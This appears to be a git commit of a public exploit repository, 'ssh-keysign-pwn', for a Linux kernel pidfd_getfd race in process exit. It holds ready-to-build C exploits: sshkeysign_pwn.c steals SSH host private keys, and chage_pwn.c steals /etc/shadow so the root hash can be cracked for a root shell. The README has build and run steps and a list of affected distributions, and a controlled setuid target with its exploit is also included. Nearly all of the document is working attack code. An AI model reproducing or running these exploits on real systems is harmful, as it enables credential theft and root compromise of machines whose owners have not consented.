ssh-keysign-pwn

This commit is contained in:
0xdeadbeefnetwork 2026-05-14 18:44:20 -04:00
commit 565548753b
9 changed files with 337 additions and 0 deletions

5
.gitignore vendored Normal file
View file

@ -0,0 +1,5 @@
sshkeysign_pwn
chage_pwn
vuln_target
exploit_vuln_target
*.o

22
Makefile Normal file
View file

@ -0,0 +1,22 @@
CFLAGS ?= -O2 -Wall
ALL = sshkeysign_pwn chage_pwn vuln_target exploit_vuln_target
all: $(ALL)
sshkeysign_pwn: sshkeysign_pwn.c
$(CC) $(CFLAGS) -o $@ $<
chage_pwn: chage_pwn.c
$(CC) $(CFLAGS) -o $@ $<
vuln_target: vuln_target.c
$(CC) $(CFLAGS) -o $@ $<
exploit_vuln_target: exploit_vuln_target.c
$(CC) $(CFLAGS) -o $@ $<
clean:
rm -f $(ALL)
.PHONY: all clean

42
README.md Normal file
View file

@ -0,0 +1,42 @@
# ssh-keysign-pwn
> "It is a fearful thing to fall into the hands of the living God." — Hebrews 10:31
Read root-owned files as an unprivileged user. Pre-`31e62c2ebbfd` kernels (everything in stable as of 2026-05-14).
![demo](demo.gif)
## The bug
`__ptrace_may_access()` skips the dumpable check when `task->mm == NULL`. `do_exit()` runs `exit_mm()` before `exit_files()` — no mm, fds still there. `pidfd_getfd(2)` succeeds in that window when the caller's uid matches the target's.
Reported by Qualys, fixed by Linus 2026-05-14. Jann Horn flagged the FD-theft shape in [October 2020](https://lore.kernel.org/all/20201016230915.1972840-1-jannh@google.com/). Six years.
## Targets
**`sshkeysign_pwn`** — pulls `/etc/ssh/ssh_host_{ecdsa,ed25519,rsa}_key`. `ssh-keysign.c` opens them (mode 0600) before `permanently_set_uid()`, then bails on `EnableSSHKeysign=no` with the fds still open. Same shape since 2002.
**`chage_pwn`** — pulls `/etc/shadow`. `chage -l <user>` calls `spw_open(O_RDONLY)` then `setreuid(ruid, ruid)`. Both args set means uid=euid=suid=ruid: full drop. Race the exit, lift the shadow fd, crack the root hash offline.
## Build and run
```sh
make
./sshkeysign_pwn # host keys
./chage_pwn root # /etc/shadow content
```
Either prints the file on stdout. Hits in 1002000 spawns.
## Confirmed
Raspberry Pi OS Bookworm 6.12.75, Debian 13, Ubuntu 22.04 / 24.04 / 26.04, Arch, CentOS 9.
## Controlled-target PoC
`vuln_target.c` opens `/etc/shadow` then drops. `exploit_vuln_target.c` shows `EPERM` while it's alive and the steal post-`SIGKILL`.
```sh
sudo install -m 4755 vuln_target /usr/local/bin/vuln_target
./exploit_vuln_target /usr/local/bin/vuln_target
```

78
chage_pwn.c Normal file
View file

@ -0,0 +1,78 @@
/*
* "It is a fearful thing to fall into the hands of the living God."
* Hebrews 10:31
*
* chage -l opens /etc/passwd and /etc/shadow before
* setreuid(ruid, ruid). The drop sets uid=euid=suid=ruid. mm-NULL
* window in do_exit() lets pidfd_getfd lift the /etc/shadow fd.
*
* Crack the root hash offline -> su - -> root shell.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
int main(int argc, char **argv)
{
const char *user = argc > 1 ? argv[1] : "root";
for (int round = 0; round < 500; round++) {
pid_t c = fork();
if (c == 0) {
int dn = open("/dev/null", O_RDWR);
dup2(dn, 1); dup2(dn, 2);
execl("/usr/bin/chage", "chage", "-l", user, (char *)NULL);
_exit(127);
}
int pfd = syscall(__NR_pidfd_open, c, 0);
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int got = -1;
for (int a = 0; a < 30000 && got < 0; a++) {
for (int i = 3; i < 32; i++) {
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
if (s < 0) continue;
char p[256] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0;
if (strstr(p, "/etc/shadow")) {
fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
got = s;
break;
}
close(s);
}
}
if (got >= 0) {
char buf[8192];
lseek(got, 0, SEEK_SET);
ssize_t n;
while ((n = read(got, buf, sizeof(buf))) > 0)
fwrite(buf, 1, n, stdout);
close(got);
close(pfd);
waitpid(c, NULL, 0);
return 0;
}
close(pfd);
waitpid(c, NULL, 0);
}
fprintf(stderr, "no hit in 500 rounds\n");
return 1;
}

BIN
demo.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 MiB

BIN
demo.mp4 Normal file

Binary file not shown.

70
exploit_vuln_target.c Normal file
View file

@ -0,0 +1,70 @@
/* Same primitive against the controlled target. Alive -> EPERM,
* after SIGKILL -> /etc/shadow fd is ours. */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
int main(int argc, char **argv)
{
if (argc < 2) { fprintf(stderr, "usage: %s /path/to/vuln_target\n", argv[0]); return 1; }
pid_t c = fork();
if (c == 0) { execl(argv[1], argv[1], (char *)NULL); _exit(127); }
usleep(200 * 1000);
int pfd = syscall(__NR_pidfd_open, c, 0);
if (pfd < 0) { perror("pidfd_open"); kill(c, SIGKILL); return 1; }
for (int i = 3; i < 10; i++) {
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
if (s >= 0) { close(s); continue; }
if (errno == EPERM) {
fprintf(stderr, "alive: EPERM on fd %d\n", i);
break;
}
}
kill(c, SIGKILL);
int got = -1;
for (int a = 0; a < 20000 && got < 0; a++) {
for (int i = 3; i < 16; i++) {
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
if (s < 0) continue;
char p[256] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
if (readlink(lk, p, sizeof(p) - 1) > 0 && strstr(p, "/etc/shadow")) {
fprintf(stderr, "fd %d -> %s (try %d)\n", i, p, a);
got = s;
break;
}
close(s);
}
}
if (got >= 0) {
char buf[4096];
lseek(got, 0, SEEK_SET);
ssize_t n = read(got, buf, sizeof(buf) - 1);
if (n > 0) { buf[n] = 0; fputs(buf, stdout); }
close(got);
}
close(pfd);
waitpid(c, NULL, 0);
return got >= 0 ? 0 : 1;
}

98
sshkeysign_pwn.c Normal file
View file

@ -0,0 +1,98 @@
/*
* "It is a fearful thing to fall into the hands of the living God."
* Hebrews 10:31
*
* ssh-keysign opens /etc/ssh/ssh_host_*_key before permanently_set_uid().
* Bails out with the fds still open on EnableSSHKeysign=no. Race the
* exit window with pidfd_getfd. mm-NULL bypasses the dumpable check
* (kernel/ptrace.c, patched 31e62c2ebbfd 2026-05-14).
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
static int pidfd_open(pid_t pid, unsigned f)
{
return syscall(__NR_pidfd_open, pid, f);
}
static int pidfd_getfd(int pfd, int fd, unsigned f)
{
return syscall(__NR_pidfd_getfd, pfd, fd, f);
}
static const char *PATHS[] = {
"/usr/libexec/ssh-keysign",
"/usr/libexec/openssh/ssh-keysign",
"/usr/lib/ssh/ssh-keysign",
"/usr/lib/openssh/ssh-keysign",
NULL,
};
int main(void)
{
const char *bin = NULL;
for (int i = 0; PATHS[i]; i++)
if (access(PATHS[i], X_OK) == 0) { bin = PATHS[i]; break; }
if (!bin) { fprintf(stderr, "ssh-keysign not found\n"); return 1; }
fprintf(stderr, "uid=%d target=%s\n", getuid(), bin);
for (int round = 0; round < 500; round++) {
pid_t c = fork();
if (c == 0) {
int dn = open("/dev/null", O_RDWR);
dup2(dn, 0); dup2(dn, 1); dup2(dn, 2);
execl(bin, "ssh-keysign", (char *)NULL);
_exit(127);
}
int pfd = pidfd_open(c, 0);
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int hit = 0;
for (int a = 0; a < 30000 && !hit; a++) {
for (int i = 3; i < 32; i++) {
int s = pidfd_getfd(pfd, i, 0);
if (s < 0) continue;
char p[256] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0;
if (strstr(p, "ssh_host_") && strstr(p, "_key")) {
fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
char buf[4096];
lseek(s, 0, SEEK_SET);
ssize_t k = read(s, buf, sizeof(buf) - 1);
if (k > 0) { buf[k] = 0; fputs(buf, stdout); }
close(s);
hit = 1;
break;
}
close(s);
}
}
close(pfd);
waitpid(c, NULL, 0);
if (hit) return 0;
}
fprintf(stderr, "no hit in 500 rounds\n");
return 1;
}

22
vuln_target.c Normal file
View file

@ -0,0 +1,22 @@
/* Setuid target that opens /etc/shadow before dropping. Install as
* setuid root; exploit with exploit_vuln_target.c. */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
int fd = open("/etc/shadow", O_RDONLY);
if (fd < 0) { perror("open"); return 1; }
if (setuid(getuid()) < 0) { perror("setuid"); return 1; }
if (argc > 1 && !strcmp(argv[1], "exit-now"))
return 0;
pause();
return 0;
}